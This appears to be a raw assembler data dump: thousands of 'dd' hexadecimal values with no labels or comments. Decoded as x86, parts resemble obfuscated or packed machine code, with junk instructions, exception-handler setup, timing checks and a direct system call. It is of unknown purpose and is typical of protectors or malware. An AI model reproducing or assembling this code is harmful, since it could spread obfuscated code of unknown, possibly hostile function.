dd 24448104h, 1D04h, 0C3564600h, 1554E23h, 6AA34FB5h, 6A96342Ah
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h
dd 47000000h, 35B5C357h, 3E269AC9h, 7F8229B8h, 51006AADh
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
dd 0FC2C31A9h, 24247C81h, 10000000h, 15F870Fh, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
dd 0E2D7FBC3h, 0A3E26888h, 8E0F890Fh, 0Ah, 89D2B360h, 4830C195h
dd 50906106h, 58536052h, 5E9h, 61607800h, 0F61B637h, 10830F31h
dd 0E9000000h, 0Bh, 9C693262h, 52ADA741h, 5AB50D8Eh, 0E8605058h
dd 0Ah, 374A9339h, 19D413D9h, 12E8BD3Fh, 38000000h, 51DF6B3Ch
dd 7F7AD49Eh, 635A1C0Dh, 5390F8AEh, 8B5B59DAh, 6A9061FBh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 0FD00C353h, 1B918529h, 85890648h, 648071Dh
dd 2824448Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 17h, 90C35747h, 90738BA4h, 5A575160h, 6050615Ah, 0AFFD18B9h
dd 10E8576Eh, 9C000000h, 34BB029Bh, 934D45C3h, 0B0A0D01Eh
dd 5B705426h, 6A90615Fh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0EE1AC356h, 0E9EF6128h
dd 0Ch, 0F3A68B49h, 8DB98452h, 4E6EE657h, 56858DF8h, 6A064B48h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 0B1E9C351h, 31D0FFF9h, 48238985h, 0FC98E906h
dd 5E9FFFFh, 0F1000000h, 7B3A095Fh, 93DA858Dh, 8D89064Bh
dd 64826F1h, 870F6090h, 0
dd 9E960h, 7F7A0000h, 635A1C0Dh, 6690F8AEh, 61C3CEB8h
dd 0EE95061h, 2A000000h, 0D5CDBC01h, 8F679BDFh, 7A86D45Ah
dd 85319059h, 6480D31h, 35FF64h, 0F000000h, 885h, 28E0F00h
dd 60000000h, 24048B61h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0A9C35646h, 0D375DC04h, 0B526433Eh, 14E9CEh
dd 0BE560000h, 0F7EC083Fh, 83E48F91h, 1468CADCh, 0EA5FBCABh
dd 6660BF1Dh, 0B8C757BFh, 3765F21Fh, 0D9858961h, 3106480Fh
dd 481EED95h, 68C0F06h, 29000000h, 482299B5h, 25896406h
dd 0
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0A1C35646h
dd 0C293F10Ch, 858DEB38h, 64B91A2h, 16089F5h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 71C35141h, 376B748Ah
dd 2A2E990h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 3CA6AAC3h, 0A8A0F59h, 0E9000000h
dd 5, 47346F75h, 0E8DB8B4Dh, 0
dd 9BED815Dh, 0BC064B91h, 12FF9Ch, 5B5BD83h, 74000648h
dd 51858B18h, 0C6064815h, 858B0000h, 648289Dh, 0FF0000C6h
dd 481AD995h, 0B5FF6006h, 64B7B3Fh, 7B43858Dh, 8D50064Bh
dd 4B7D3B85h, 95FF5006h, 6482861h, 610CC483h, 6870F60h
dd 8B000000h, 480A25BDh, 48B66006h, 322DB501h, 61610648h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 77C35545h
dd 0FD8D231h, 68Dh, 0C9B50100h, 8D064811h, 4B7D3BB5h, 5D858906h
dd 8D064814h, 481CE5BDh, 0AD950106h, 80064827h, 840F003Eh
dd 66h, 11E9h, 0D61AEE00h, 0D232B532h, 914BFA1Bh, 1C009AFBh
dd 6AA4921Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 6073C356h, 0DE4ECA92h, 89268152h
dd 480DFDBDh, 0FFB1E906h, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 180424h, 55450000h, 0B2E4A0C3h, 0B840D9h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 19042444h, 47000000h, 39DFC357h, 14EE8E75h, 2E759D29h
dd 6AAA0648h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 0BB7C355h, 18C0Fh, 0E9F80000h
dd 14h, 36D3CD1Ah, 11A9F6FEh, 18D2711Fh, 57F6B40Fh, 0E5A860A9h
dd 7B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1B04h, 0C3554500h, 0A8A96FE0h, 1083AE4h, 11E9h, 8E203000h
dd 0C38DDB3h, 0CA4D325Eh, 0C02CDD7Fh, 85C745A8h, 6480A55h
dd 1, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah
dd 0B5C35747h, 0A1E4250Ch, 8D89A134h, 6481B45h, 4E808D8Dh
dd 0FFFC0648h, 53006AE1h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1504h, 0C3534300h, 296053C6h, 481275BDh
dd 0CE806h, 2ECD0000h, 5CA8F193h, 0D59E604Fh, 59F5E7A2h
dd 9D8B6061h, 6481EE5h, 9118D8Bh, 8B610648h, 550C245Ch
dd 0E8h, 0ED815D00h, 64B93E4h, 0B8838Bh, 85890000h, 64B7B3Fh
dd 9194858Dh, 8389064Bh, 0B8h, 0C3C0335Dh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 58C35242h, 9C601D85h
dd 14E9F5AEh, 8D000000h, 9E32C99Dh, 0C8DAB277h, 948E3B6Bh
dd 0E8942D33h, 60C8D201h, 1B3DBD8Bh, 8B660648h, 0F6061F1h
dd 168Eh, 11E900h, 88FD0000h, 0AB50184Dh, 0CF6DB88h, 0BDA0F35Ch
dd 8D3E312Bh, 4B967585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 0E990C362h, 14h, 456347FAh
dd 2F89F8ADh, 3F4EED63h, 84A02498h, 6437EF17h, 0A880F50h
dd 50000000h, 0F616052h, 5A616031h, 6A9058h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0B787FFC3h
dd 18F3D4DDh, 11E946h, 0E99E0000h, 6F7A6422h, 4876AD63h
dd 225C4D04h, 0E9DA6659h, 12h, 58D70167h, 3B7BFE35h, 2C28537Eh
dd 0FB3DFA5Dh, 8D290AE6h, 64822B1h, 35FF64h, 0F9000000h
dd 258964h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1A042444h, 45000000h, 0CC2EC355h, 0F9591FA9h
dd 9BD09E1h, 8D064820h, 4B96D685h, 91858906h, 89064805h
dd 6A0160h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 2FE09DC3h, 2FB1EBD0h, 0F985C6F9h, 4F06480Fh
dd 2FB99589h, 86680648h, 0E9BFA361h, 0Ch, 7D4815FEh, 0FAB15CAAh
dd 0F93FF519h, 0A4240481h, 6A3F2512h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 2D3FC350h
dd 0E960E0E8h, 10h, 2B484348h, 0BF522412h, 2595528Ah, 7B92ED3h
dd 0EE8h, 9D5F2500h, 0E568F153h, 3EBC7C42h, 0F0AE9F6h
dd 615ED2BFh, 29A9B5FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0F96549C3h, 7F60858Dh
dd 6A064Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
dd 56460000h, 0E9707AC3h, 9E01FCFCh, 8978CB04h, 480C9195h
dd 89D0FF06h, 480D218Dh, 85E906h, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B26FA3C3h
dd 927595E2h, 5C8B5BCDh, 0E8550C24h, 0
dd 7FED815Dh, 8B064B96h, 480ED585h, 0A9858906h, 8B064829h
dd 482F2D85h, 0BD858906h, 8B064807h, 4827C585h, 69858906h
dd 0C606481Ch, 480FF985h, 85C70006h, 64B806Ch, 0
dd 96D6858Dh, 8389064Bh, 0B8h, 0C3C0335Dh, 890F60h, 0F5000000h
dd 0BCF5F961h, 12FF74h, 12E9h, 0D9B00h, 85827FC9h, 86B3493Fh
dd 95BAAD9Fh, 648FD57Dh, 58Fh, 8D290000h, 6481741h, 0E904C483h
dd 5, 0C30358B5h, 48E9618Ah, 50000001h, 54000000h, 58000000h
dd 5C000000h, 60000000h, 64000000h, 68000000h, 6C000000h
dd 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h
dd 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h
dd 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h
dd 0EC000000h, 38h dup(0)
dd 2F000000h, 0EB00572Ch, 8D009F50h, 4B971285h, 0F6BF0F06h
dd 98528589h, 958B064Bh, 6480535h, 0FF985C6h, 8B540648h
dd 480BA98Dh, 0BDBD0306h, 0E806482Eh, 4, 0EE626829h, 1F61BB66h
dd 8BCF8B50h, 0E8042444h, 8, 6A20EC03h, 0DB4D9DA9h, 7E9h
dd 0AB67F700h, 0D3883301h, 50008B5Eh, 14E852h, 9DB50000h
dd 7A0C94E1h, 6E7BE347h, 0DF2FF589h, 10595475h, 840FFEDBh
dd 0
dd 50310F5Bh, 50310F52h, 5A310F52h, 5A585A58h, 24448958h
dd 0ECB75704h, 8B665859h, 0A9B5FFFBh, 89064829h, 480B9D85h
dd 60858D06h, 8B064B7Fh, 4809419Dh, 66D0FF06h, 0BA00C781h
dd 98568589h, 0DE9064Bh, 49000000h, 58B62436h, 7EF89CCAh
dd 0E38BB472h, 4CE9h, 0B9B50100h, 8B064832h, 4811DD9Dh
dd 0B58B5606h, 64B9852h, 85830689h, 64B9852h, 60C35E04h
dd 9712B58Dh, 0FEB064Bh, 0FF006A56h, 5695FF36h, 5E064B98h
dd 8304C683h, 0EC75003Eh, 8F0FC361h, 6, 32F1958Bh, 0C9800648h
dd 4A858D49h, 53064B99h, 6659D68Bh, 89E6DFBEh, 48099585h
dd 0E5E906h, 4D100000h, 71DCFFEEh, 0A1D1F32h, 8FDD7A0Eh
dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh
dd 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh
dd 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h, 0E0202060h
dd 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h, 91B99DB7h
dd 20ACA3F2h, 20602060h, 0E0202060h, 752060E0h, 0D0A3353h
dd 20557D2Fh, 20602060h, 2BA72860h, 0D650F036h, 0EFB6F360h
dd 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h)
dd 0DF6DF720h, 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h
dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h
dd 0F73D577Dh, 75D55FEDh, 6D373353h, 1E357D2Fh, 0A8000E0Ah
dd 54A766C1h, 0FA43F2FDh, 0E975A9CCh, 0C2Eh, 4B9C9A68h
dd 0E3EFE906h, 0A568FFFCh, 0E9064B9Dh, 0FFFCE3E5h, 4B9E7D68h
dd 0E3DBE906h, 6668FFFCh, 0E9064B9Fh, 0FFFCE3D1h, 4B9FDB68h
dd 0E3C7E906h, 6F68FFFCh, 0E9064BA0h, 0FFFCE3BDh, 4BA19C68h
dd 0E3B3E906h, 0A768FFFCh, 0E9064BA2h, 0FFFCE3A9h, 4BA39268h
dd 0E39FE906h, 5468FFFCh, 0E9064BA4h, 0FFFCE395h, 4BA51368h
dd 0E38BE906h, 0C56CFFFCh, 70F2AECAh, 0E47B1775h, 670F9BF9h
dd 16920E6Ah, 5527113h, 0D0B0B13Dh, 452722C4h, 0CFADAC49h
dd 375550D3h, 0F3B5099Ch, 0C17C6FCCh, 0FE85A47Fh, 68FE8AFBh
dd 0AE250C7Dh, 0FC839712h, 90CA60E1h, 6762012Bh, 0C08AB505h
dd 3EC87955h, 7B047C6Ch, 0FEF57E0Ah, 667D0692h, 3DFCB909h
dd 48227C6Ch, 2FB04C93h, 8C224330h, 60670Ch, 7DE8EF94h
dd 33405DE3h, 42C3DE61h, 36BDCFECh, 993C4233h, 0C313B5E0h
dd 7BD35311h, 0AD569A41h, 0A6DBCAD6h, 0E384EF55h, 9D1697E4h
dd 0D066F666h, 0A9AF47BCh, 50E9DDBh, 85060000h, 0BB4AE8FEh
dd 7573B945h, 49F677DFh, 0CCCB6838h, 29F3CCACh, 0FD3DE0BEh
dd 0CEA97C6Ch, 7F4FE6B1h, 7C6CDD39h, 0CC68F887h, 2D7765CDh
dd 247C6CDDh, 28D3F5AAh, 0F2DBA9B8h, 39h, 53A241DBh, 54544220h
dd 0BF1794B6h, 0CF7EB924h, 36A12E23h, 6C405158h, 65129D7Ch
dd 6C3F8FD5h, 5308BA7Ch, 0A9038E75h, 10154DBh, 0A63D0000h
dd 6C3390C8h, 0FB535C7Ch, 0E8FE85E8h, 7F3C4D4Ch, 5AF681FEh
dd 0B9FFCFC4h, 7762432h, 0ED8AFB78h, 2829D545h, 0AFAA495Bh
dd 403A438h, 0F07301AEh, 0A5033101h, 24C78FC9h, 21525D76h
dd 0A223A9A1h, 253D08C6h, 0EA897625h, 92118DEFh, 8DB6E697h
dd 0F70658CFh, 337C6D49h, 47D1474h, 753CCCF8h, 0FDF7708h
dd 0AFFF9634h, 82B76649h, 0E67DE897h, 368F5ADh, 0E01CF8D8h
dd 0CD251476h, 9026A7h, 0B9F26564h, 0EF0AE5EEh, 4959F1B9h
dd 6DD0D15Dh, 12A2DD06h, 8CDF4FC0h, 1F000009h, 0ADF99B96h
dd 2A660207h, 0BEEAB695h, 4D593B36h, 0A3C0A0A1h, 4B4EEAD2h
dd 0FEEB7D29h, 647B0692h, 0ECEB8804h, 0EEC0D78Ch, 7C6FCEAAh
dd 85F79036h, 0D66DF8F9h, 2432C0F8h, 0D395E976h, 0E1762432h
dd 258DEA86h, 6F6A0985h, 0A1FD940Dh, 762432E7h, 32FABE10h
dd 0B9C67624h, 95DBACCBh, 0B5AFA3F1h, 0B90E9931h, 7549DC7Eh
dd 7C6C4064h, 2886F7B0h, 7C6C3F6Ch, 69B46BE7h, 245530D7h
dd 24DFEF47h, 0FEDBA903h, 0D4h, 0FBFE8525h, 8B72FE8Ah
dd 44A4A890h, 7C3C9209h, 487624C1h, 5021AE2Fh, 24C5B382h
dd 797C0776h, 0C3D752EEh, 5253203Dh, 6FC7A4D5h, 0B9BC4753h
dd 8323BDC8h, 20B0F18Eh, 522A809Fh, 9D34A369h, 27777C03h
dd 7624BE61h, 2B83006Fh, 6CE8A0ADh, 593B447Ch, 11844671h
dd 0B7794ABDh, 86119E82h, 0DCD55DEFh, 1B1E9A76h, 0DF99F58Ch
dd 0ED762636h, 9C2C82h, 3FDA6564h, 7912A3B7h, 8810886h
dd 81200000h, 0CB6E28Eh, 0A83F6B09h, 23C3DFBDh, 0AA56422Eh
dd 0C9AEB5D7h, 147475F1h, 99FBE678h, 361600Dh, 8BE9EC97h
dd 0AFE9C5D8h, 3D7C6FCFh, 0F985F8ABh, 0D5D052EEh, 0D197C7A4h
dd 1F762432h, 6D6F264h, 0C3403F80h, 0C96A2642h, 65F7AECAh
dd 5073DBDEh, 6CFBFE85h, 774750D0h, 76243331h, 273F0BFh
dd 7550F765h, 0A0CF6704h, 345453D0h, 3C079F04h, 0D375079Eh
dd 0D9B560F6h, 7C6C4294h, 842FC1D0h, 4197D181h, 38C57C6Ch
dd 0AF2C4B39h, 0B5FB934Dh, 73287B34h, 7AC0A9B4h, 8E44A68h
dd 0A4FA6D2Fh, 74EC8B89h, 6B25525Dh, 431B8A50h, 7B37B861h
dd 3E35BE52h, 0FB8C1898h, 37075FFh, 0D077E562h, 4FE174F5h
dd 0D7C3A1A4h, 7996292Ch, 4F1A2242h, 7A922D0h, 79F80000h
dd 0E48E1A66h, 701783E1h, 1B9BF795h, 822E7A06h, 0F1C6ED8Fh
dd 4C2C2DC9h, 0B1D3CE50h, 3B5958E5h, 0A3C1C46Fh, 87C19D30h
dd 557C6FD0h, 0FE8510F3h, 10376CFBh, 0F1C92478h, 4804B31Bh
dd 643AAD6Fh, 7C6CEDD5h, 5A1E7001h, 667C6CE4h, 90F89819h
dd 0DB59F3A7h, 0E4C880DEh, 9DF17C6Ch, 7C6CE4DBh, 0B5F28EE9h
dd 620FA134h, 39911E6Fh, 7FAC025Ch, 0A0FC82B8h, 15800100h
dd 9FFDF87Bh, 0CDC86A06h, 180EB565h, 8CED9A9Dh, 251E7E0Fh
dd 679EF067h, 967C72F4h, 0D7A79FAh, 0CDAAC66Ch, 8A29C35Ah
dd 0C86B278Fh, 0E3C583DBh, 94137C6Ch, 5BEC8017h, 0E77E3F4Ch
dd 6CE3D197h, 3A901F7Ch, 7271F2AEh, 54DE7205h, 1A25F951h
dd 0B74EE570h, 6CE3A1E7h, 0EA402F7Ch, 0B51449ECh, 0AB129D82h
dd 12A53AAAh, 0C073E39Ch, 0E3000006h, 712D4F42h, 0FEAAF6F3h
dd 821E7A69h, 118DEFE2h, 0EFF49495h, 3F32BE86h, 0A2BF415Dh
dd 282FCAC6h, 0D0D75C48h, 328C23B0h, 7C6FD176h, 0B92BFC42h
dd 0B749DC7Eh, 27443510h, 85A8068Fh, 617C6FCCh, 64F88F06h
dd 0DAB6C7C2h, 70C6475Ah, 910403A0h, 675D5118h, 0B911D8CFh
dd 0F3F67D29h, 2BF1CA82h, 657E2BCh, 0E48382B8h, 0A210A259h
dd 6B1B9412h, 64Bh, 0B8D8D75Eh, 214346ECh, 95F7D275h, 187879F9h
dd 83E1E08Ch, 8F2B1360h, 2CB2EE8Ah, 0BA475331h, 2AC9C5A7h
dd 0FF964D2Fh, 6FD1E9AFh, 0B651F77Ch, 49DC7EB9h, 6FCD9975h
dd 1580EF7Ch, 9FFDF87Bh, 14656003h, 4ADD7FB8h, 0BB66C174h
dd 66BBF082h, 87219207h, 6F0BA3h, 7D78FB95h, 4FEA861Fh
dd 0ABA98DBCh, 0D4558193h, 0CABBBE44h, 0EE9505ADh, 0D7A7DF8h
dd 3E9EEF6Ch, 0FED04705h, 7C6C7957h, 412FD7A3h, 0A522A3BEh
dd 5D94E71Ah, 0B02EE10Ch, 5B7h, 14744BEAh, 9DFFFA78h, 1637E01h
dd 7414ED95h, 0FF9D9C18h, 3BC7FFD4h, 0B84E5A26h, 56D3CFADh
dd 0DE653153h, 932AB9DBh, 6FD27D3Bh, 12F54B7Ch, 6CFBFE85h
dd 0BABF3BD5h, 0BAFEACCDh, 6762432h, 0D6A2D179h, 5B4A562Dh
dd 883422C1h, 3ABBF889h, 36862C4Dh, 0DCCB5C0Dh, 7831C85Fh
dd 0A44F6D8Ch, 0A6D3D0A1h, 41E39AF0h
dd 616FC744h, 7C6D42BCh, 0A03E4F28h, 7C6D21E4h, 180CF36Fh
dd 0DBA9FDE3h, 5D54DC70h, 67E74F2Ch, 36h, 95E980BCh, 762432D3h
dd 5C3086E1h, 922EB963h, 360110Ch, 594EAABh, 347C6C40h
dd 0B2180798h, 0BA087906h, 7C6C3FFAh, 0E26E551h, 0DBA90315h
dd 0B1CFh, 0FE855400h, 72FE8AFBh, 0F1720E7Fh, 4CF785F2h
dd 0E8BD2B49h, 0DC762436h, 64305057h, 0E5ABD8DFh, 0C9A530DAh
dd 7C6C6584h, 0D5A5C7A0h, 7214D4EAh, 542520C7h, 0D95E2257h
dd 0DF76E16Eh, 0E6B8BB4Dh, 7C6CF0A2h, 0B3C0412Eh, 17E5CF2h
dd 4982B796h, 4D226638h, 0C1AE7626h, 0BF3BD540h, 26C2DEBAh
dd 0A14B9C23h, 0B26D12A3h, 48A04h, 99981900h, 5AFFBh, 0B4933460h
dd 3938B8D4h, 0AEA34F5Bh, 0E8D0A1C2h, 732F4D4Ch, 490F0EDh
dd 8E1A6679h, 0D182EEE5h, 0D3A8E0BEh, 92347C6Fh, 0F8F985F1h
dd 94670C98h, 2ABD271Eh, 54214E3Fh, 1091874Fh, 7EB9D370h
dd 647549DCh, 0B07C6C40h, 3FCB8DE1h, 9E197C6Ch, 92D26011h
dd 0C67C6C3Fh, 4557243Bh, 5CC9A6A3h, 2025D30Fh, 0B169A02Bh
dd 6ED835CAh, 56D26EB1h, 0ED452253h, 0A9632AD1h, 8127B9DBh
dd 9142F784h, 9C55A793h, 9C401697h, 0BAh, 0FBFE8507h, 7F72FE8Ah
dd 36E5B00Eh, 52D17624h, 5529C057h, 76243613h, 5070C6A1h
dd 0CBB8BF44h, 336C25BCh, 0F01B41C1h, 0DABBFDADh, 7D097624h
dd 0D77FFCF5h, 0A86A3C07h, 0F7FBCC73h, 85D94CCDh, 7C6D02B8h
dd 7F3995ECh, 4D7C6CC1h, 37B4B531h, 21BBEAB6h, 0B5F2839Eh
dd 0D476411Dh, 63936D41h, 0D6D182B7h, 1AD3Fh, 89883460h
dd 0A38CD736h, 0B02EE112h, 37Fh, 0EC8C8322h, 553732B0h
dd 0D9BBA639h, 4C2C25CDh, 0B7D5D450h, 73FFC7ACh, 0E086127Eh
dd 6E0B87E5h, 169D096Bh, 0CBE27113h, 6FD4B5F3h, 0EABD037Ch
dd 6DF8F985h, 0AC508834h, 8A2044A0h, 201A2FEh, 0FE85DD66h
dd 0EC63C80Fh, 0B33054B0h, 360DB6C2h, 1EA13B6Ah, 0DE939AF7h
dd 0EF6C575Ch, 0E683119Eh, 30934BE3h, 76E1AB94h, 6C825518h
dd 18E2917Ch, 23575CEDh, 47DE869h, 0D58CBC68h, 8F621771h
dd 7449A520h, 0B917339Bh, 20A1CDA3h, 4DD882BDh, 0A73530B3h
dd 0E3B2181Dh, 0E98C868Bh, 0B4C5A21Eh, 0AA3DDFD8h, 5EE07C13h
dd 87551343h, 17631A59h, 87E49570h, 0C222B006h, 0F320A506h
dd 77DFDA59h, 12A93C7Bh, 3A65FE99h, 0EA7EBB3Ah, 0AD89FAB2h
dd 8C9B2C4Dh, 9931BEFFh, 1D7F7AF9h, 58E7E281h, 7027718Bh
dd 9454C2BDh, 17000002h, 0A5F1936Eh, 227E1A1Fh, 0B6E28E9Dh
dd 4551330Eh, 0BBD8B8B9h, 4346E2DAh, 0F6D37521h, 7C73FEAAh
dd 0E4E3801Ch, 0E6B8CF84h, 7C6FD5A2h, 850F982Eh, 0C28AFBFEh
dd 0EAC453F9h, 7C6C487Fh, 0ECEC8CEBh, 0FAA09B3Bh, 574A136Bh
dd 0E47B82B4h, 244CCE8Ah, 359D1A76h, 401EFA85h, 32B2BC00h
dd 0BB13C7F0h, 32B2A6FDh, 0B82FACCBh, 0FAD047E6h, 29CA6638h
dd 2B5C5D2Ah, 0F8EC3EC8h, 5662C8E5h, 4B745829h, 0EC9D1681h
dd 0BB550847h, 0BF563F97h, 7975802Dh, 251BF2Eh, 17651293h
dd 0BE149570h, 3647B410h, 704EE537h, 32B21C38h, 2753FB84h
dd 0B033CD58h, 38BBD7B5h, 0D237823Dh, 8E015617h, 1D210h
dd 5150D100h, 0D8DD6733h, 4C5BECB8h, 0F1F0702Ch, 667B0793h
dd 0A098F91Ah, 2B670504h, 0BCE88895h, 46523E31h, 9DAA6BDh
dd 0D6601876h, 0DA6C7C6Fh, 95E98049h, 762432D3h, 603086E1h
dd 0D9B7C4C3h, 0D5A93CDEh, 7C6C4E78h, 89C1A3CCh, 10BA8521h
dd 4855EB85h, 125B33E2h, 0B382B45Eh, 79123BFEh, 9B3335B1h
dd 0E670901Fh, 2F178102h, 74E3A992h, 5EEA031Ah, 2DB8C735h
dd 0BA100D93h, 0A268533Dh, 53E79C33h, 6E9461D0h, 0D16A0FA0h
dd 0BA392AA4h, 0FE8F822Eh, 59BB19B1h, 0AF3B2A11h, 38BB55C0h
dd 0F18E852Eh, 8A433B0h, 68FE6A6Dh, 0C76F0C7Dh, 4144EFBBh
dd 0B49B11FEh, 0CA783759h, 113h, 7010EF96h, 0F99B9E24h
dd 6D0F1AADh, 0D0B0B131h, 5B3938C4h, 0C7635B38h, 54EAA6C2h
dd 0F27F2B49h, 62019DFFh, 374E0567h, 6FD82167h, 8E19AF7Ch
dd 4BC80B80h, 8BEB8ECh, 0B87C19Dh, 2A557625h, 7B6F1484h
dd 0EB88F9E4h, 88B31D6Ah, 267B53C2h, 627C6D12h, 0EFDBB13h
dd 68CC7C6Dh, 0A20C8CD1h, 42C3ACDCh, 0BC6D5626h, 23403130h
dd 59C33A2h, 6D28EFA9h, 1CB2FD7Ch, 0B8C368BEh, 86F7B082h
dd 0DB4A49EAh, 10A6A341h, 989F2470h, 9355BEBh, 0D153EA0Ah
dd 29D5A7D4h, 0A74091DCh, 56D7CF15h, 0B06F4159h, 5FAB07Bh
dd 0E5B0A1DAh, 443084C4h, 828122EEh, 24D59E13h, 0C63806E3h
dd 48415070h, 0E7A23396h, 0A14C0D1Eh, 6B365968h, 2FD444EAh
dd 0A9495B28h, 0BE3CDBA8h, 9D981BC1h, 0A72A910Ah, 0F6D4F64Eh
dd 0AF544060h, 0F5A8E0BEh, 4B34EA05h, 56EABDCAh, 0BF41D3AEh
dd 146E0CA2h, 17000000h, 6EFAFF85h, 0FDBACBC6h, 0EC803255h
dd 73304140h, 8510FBDBh, 494E5FCh, 790B787Fh, 0FC8CFDFCh
dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
dd 0B9BFCCC9h, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 0F5682424h
dd 8900002Eh, 0EC832434h, 24048904h, 4B9AE968h, 24348B06h
dd 8304C483h, 248904ECh, 24048124h, 4, 4B8F6858h, 3C890000h
dd 89F78924h, 0FF5F0878h, 83582434h, 34FF04C4h, 0C4815E24h
dd 4, 0FCD7CCE9h, 4BB85CFFh, 3064BA6h, 0E8E0FFC5h, 0DF58D2C7h
dd 3417DC2Eh, 0F72FE842h, 0C93335A2h, 34676F77h, 92510C0h
dd 314C425Ch, 8C2DAA85h, 0B3126CA0h, 7B7134EEh, 9E79A509h
dd 5E63D854h, 0E816A50Dh, 0Fh, 826F7347h, 348DC415h, 36D7FF2Dh
dd 0B76BBEEAh, 810F5A87h, 1, 55C281FCh, 66000064h, 0C3C6DB81h
dd 0BE66C92Bh, 48BEF38h, 0EF81660Ah, 0E8817B98h, 78172A1Bh
dd 34DF8166h, 18C081ECh, 666BABB2h, 0F081F88Bh, 4A395FDEh
dd 11840Fh, 0CE90000h, 1A000000h, 2E343835h, 0BF8A0AD4h
dd 5004E432h, 48FF08Bh, 0CF81F90Ah, 14B6D59Ch, 6004E983h
dd 5E5F5153h, 0E800Fh, 8E80000h, 7C000000h, 8CB5ACFFh
dd 5A5231F7h, 44F98161h, 0FFFFF9Ch, 0FFFF9185h, 0C7BB66FFh
dd 75E96Fh, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 0ED5B5FFh
dd 858D0648h, 64B7F60h, 8589D0FFh, 6481B95h, 0EFC1FE8Bh
dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1B9595FFh, 32E90648h
dd 0C6000000h, 480FF985h, 0DF685606h, 0FFA9C530h, 4829A9B5h
dd 60858D06h, 0FF064B7Fh, 0D8589D0h, 8D06480Ch, 48093D85h
dd 206A5006h, 0FF56056Ah, 480C0D95h, 0C1C36106h, 4BEB06E0h
dd 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
dd 6700A6DBh, 1A00461Bh, 0D5A3EAh, 9C000000h, 0FEC819h
dd 0FBFE4800h, 28000000h, 0D427E641h, 0E9C3727Dh, 0DD8h
dd 7D9523FCh, 83064827h, 4830E5BDh, 850F0006h, 62h, 77D1BB66h
dd 2AF5958Bh, 0B80648h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1A042444h, 40000000h, 40DEC350h
dd 530F0D18h, 0B19D8B2Bh, 81064815h, 27BC90F2h, 4C21Fh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B1C35040h
dd 0D281665Dh, 0C08BF342h, 1B459589h, 0BD830648h
dd 6481299h, 83097500h, 480D35BDh, 13740006h, 0C08B5350h
dd 4D0B8h, 389D8D00h, 0FF064AA2h, 83585BD3h, 480D35BDh
dd 11740006h, 0D0B85350h, 8D000004h, 4AA1859Dh, 5BD3FF06h
dd 0C8B70F58h, 19B58950h, 5B06480Eh, 8DF5C08Bh, 4BA84A85h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 1707BDA4h, 7D9D8B98h, 8B064814h, 48139595h
dd 0BA605006h, 3564236Fh, 8E857h, 16760000h, 9C2F5C88h
dd 5B595C2Fh, 24048961h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0A2C35343h, 9FA25DA4h, 0D2812F29h, 574376EAh
dd 0CE9h, 57B22200h, 0A5EE4105h, 0FBA3FA0h, 7858D46h, 53064BA8h
